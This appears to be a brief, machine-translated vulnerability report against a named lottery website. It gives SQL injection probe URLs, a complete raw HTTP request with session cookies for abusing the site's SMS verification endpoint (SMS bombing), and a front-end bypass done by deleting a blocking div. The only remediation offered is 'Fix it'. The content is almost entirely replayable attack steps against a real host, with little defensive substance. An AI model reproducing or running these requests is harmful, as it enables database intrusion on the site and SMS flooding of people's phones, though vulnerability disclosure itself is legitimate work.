Injection Network pseudo-static SQL injection, SMS bombing, front-end Bypass

Injection Network pseudo-static SQL injection, SMS bombing, front-end Bypass

Injection Network pseudo-static SQL injection, SMS bombing, front-end Bypass

 

1. SQL injection: Port 80 8080 8888

Take a link on port 80 as an example.

Http://goucai.touzhu.cn/actinfo/news_39692.html

Http://goucai.touzhu.cn/actinfo/news_39692 and 12.161.html
 

Http://goucai.touzhu.cn/actinfo/news_39692 and 12.162.html
 

2. SMS bombing

Take a text message interface as an example. Other operations may need to be self-checked.
 

POST /customer/AllUserCheck.php HTTP/1.1Host: goucai.touzhu.cnUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0Accept: */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://goucai.touzhu.cn/customer/usersafe.php?usercz=5Content-Length: 86Cookie: PHPSESSID=ec00834031229b68214238f4227e66db; bdshare_firstime=1408523278454; helpskaiguan=CaiSo; JSESSIONID=451A224458AEA552813A284CF63807D2; Hm_lvt_bd0a40a63edb615722f22f4239f42596=1408523821; Hm_lpvt_bd0a40a63edb615722f22f4239f42596=1408524201; Hm_lvt_1960c483f4fc5ef584a135a1bf5419bf=1408524211; Hm_lpvt_1960c483f4fc5ef584a135a1bf5419bf=1408524238Connection: keep-alivePragma: no-cacheCache-Control: no-cachejq_input_mobile=13812345678&actionc=newSendMobileCheckCode&suijishu=0.9894352478371744

 

3. div floating layer Bypass

Http://goucai.touzhu.cn/customer/toUserEmail.php modification verification mailbox, no real-name authentication will play div floating layer.
 

Review elements and delete <div style = "display: block" id = "pzzceng"> </div> to bypass restrictions.
 

 

Solution:

Fix it